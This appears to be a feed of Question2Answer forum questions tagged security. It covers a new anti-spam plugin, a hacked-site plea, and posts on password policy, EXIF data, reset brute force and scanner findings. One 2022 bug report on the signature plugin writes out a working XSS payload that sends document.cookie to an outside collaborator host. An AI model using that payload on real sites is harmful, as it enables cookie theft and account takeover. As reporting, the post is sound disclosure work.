Question2Answer Q&A - Recent questions tagged security

[Free Plugin] Anti-Spam Register Shield - Block Bots Without CAPTCHAs!

Fri, 05 Jun 2026 07:46:18 +0000

Hello Q2A Community!

Are you tired of automated spam bots registering on your forum, dropping SEO links in their profiles, and bypassing standard CAPTCHAs?

I’m excited to share a new free plugin I’ve developed to solve this problem once and for all: Anti-Spam Register Shield.

Instead of relying on annoying CAPTCHAs that frustrate real users, this plugin operates silently in the background using smart Bot Traps to eliminate automated registrations completely.

️ How It Works (The Mechanics)

Bots are programmed to fill out every field they find as quickly as possible. This plugin uses two clever mechanisms to catch them in the act:

The Invisible Honeypot: The plugin injects a hidden form field into the registration page. This field is completely invisible to human users (pushed off-screen using CSS), but bots scanning the HTML will see it and fill it out. If the registration is submitted with this field filled, the plugin instantly knows it's a bot and blocks the registration.
The Time Trap: A real human takes at least a few seconds to type their username, email, and password. A bot does this in milliseconds. The plugin embeds a hidden timestamp when the page loads. If the form is submitted faster than the minimum configured time (e.g., 4 seconds), the registration is rejected.

✨ Key Features

Zero Friction for Humans: Real users won't even know the plugin is there. No confusing images, no puzzles, no clicking on traffic lights.
100% Standalone & Lightweight: It doesn't require any API keys, third-party services (like Akismet), or AI. It executes locally with zero impact on your site's performance.
Highly Configurable: You can easily adjust the "Minimum Registration Time" from the plugin's admin panel to suit your audience.
Compatible with Other CAPTCHAs: You can use it alongside reCAPTCHA for an impenetrable double-layer defense.

⚙️ Installation Instructions

Download link: Download Here

Download the plugin folder and name it anti-spam-register.
Upload the folder to your qa-plugin directory.
Go to Admin > Plugins in your Q2A dashboard.
Locate Anti Spam Filter, configure your minimum registration time (default is 4 seconds), and click Save Changes.

Enjoy a cleaner, spam-free community! If you have any questions or suggestions for future updates, feel free to drop a reply below.

My website had hacked Request for Assistance with Website Security and 404 Errors

Wed, 24 Jul 2024 21:13:36 +0000

Request for Assistance with Website Security and 404 Errors

My website was hacked, and I have deleted suspicious files, changed the password, and removed fake users. However, I am still unsure if the threat is completely gone. Additionally, the number of 404 errors has increased to over 5350 pages.

I need your assistance with:

1. Ensuring the complete security of the website.
2. Handling the large number of 404 errors.
3. Improving the site's re-indexing and performance in search engines.

I appreciate your guidance and advice on these matters.

Thank you for your help.

Define Password Policy

Wed, 04 Jan 2023 13:05:31 +0000

Hi

Is it possible to define Password Policy? So a new user would have to follow it or existing user who change password.

Maybe already plugin exists for that?

Signature allow XSS

Tue, 29 Nov 2022 13:42:06 +0000

It's possible to inject JS into user's signature that leads to account takeover.

Attackers change their signature to the following XSS payload and such JS will be executed is uses click such button.

Hi<button type="test" formaction="javascript: alert('You have been hacked!'), fetch('https://xxxxxxxxxxxxxxxxxxxx.oastify.com?c=' +document.cookie)">CLICK HERE</button>

See example from our forum.

Is there a solution to avoid this?

We use following plugin for Signature: https://github.com/NoahY/q2a-signatures

Thanks.

Remove exif data from users profile images

Thu, 01 Sep 2022 09:19:21 +0000

I got a request from a security team about uploaded images.

They asked whether it is possible to clean out uploaded images from personal information.

When a user uploads an image, the uploaded image’s EXIF Geo location Data does not get stripped. As a result, anyone can get sensitive information of users like their Geo-location, their Device information like Device Name, Version, Software & Software version used, etc.

Is there any way to process uploaded images and exclude such information from it?

p.s. you can use https://exifdata.com/ to read meta data of image.

Brute force protection on reset password

Wed, 17 Aug 2022 08:42:59 +0000

Hi

Our security teams noticed it is possible to takeover an account by brute forcing reset password functionality.

Technically it is possible to do any number of requests (with code) on reset password page.

Are there any plugins or maybe I simply do not know how to configure system properly?

Thanks!

What type of security issue is this

Thu, 26 Nov 2020 16:03:52 +0000

Location

src\qa-include\app\format.php:272

Source File

src\qa-include\app\format.php

Availability Impact

Partial

Confidentiality Impact

Partial

Integrity Impact

Partial

CWE:

API:

Potential user controlled data within PHP converted to HTML

<a href="' . qa_path_html('ip/' . $ip) . '" title="' . qa_lang_html_sub('main/ip_address_x', qa_html($ip)) . '" class="qa-ip-link">' . $anchorhtml . '</a>

Security issues in static analysis

Thu, 26 Nov 2020 13:06:31 +0000

When i scanned the project using Appscan source and also from SonarQube i am finding that almost 500 security XSS and other issues reported.

version: 1.8.4

upgraded jquery to latest

upgraded php to latest

Scanned code again and i am finding that same number of issues again.

Many of them are even coming from ckeditor code.

How to move qa-config.php out of the directory as mentioned in security docs?

Mon, 02 Nov 2020 09:50:55 +0000

As mentioned in the security tutorial : https://docs.question2answer.org/install/security/

Move the qa-config.php file to a location which is outside any directory served by your web server. Then create a new qa-config.php file in its place which references the old file using the require PHP function. If your web server were to become misconfigured and start serving the raw code in .php files, this would ensure that your MySQL details remain hidden.

I am not able to understand or apply it... please help me. I want to make sure to maximize the security for my website.. I've customized everything but this is the only thing I am not able to apply... it'll be very helpful to get an better and easy tutorial.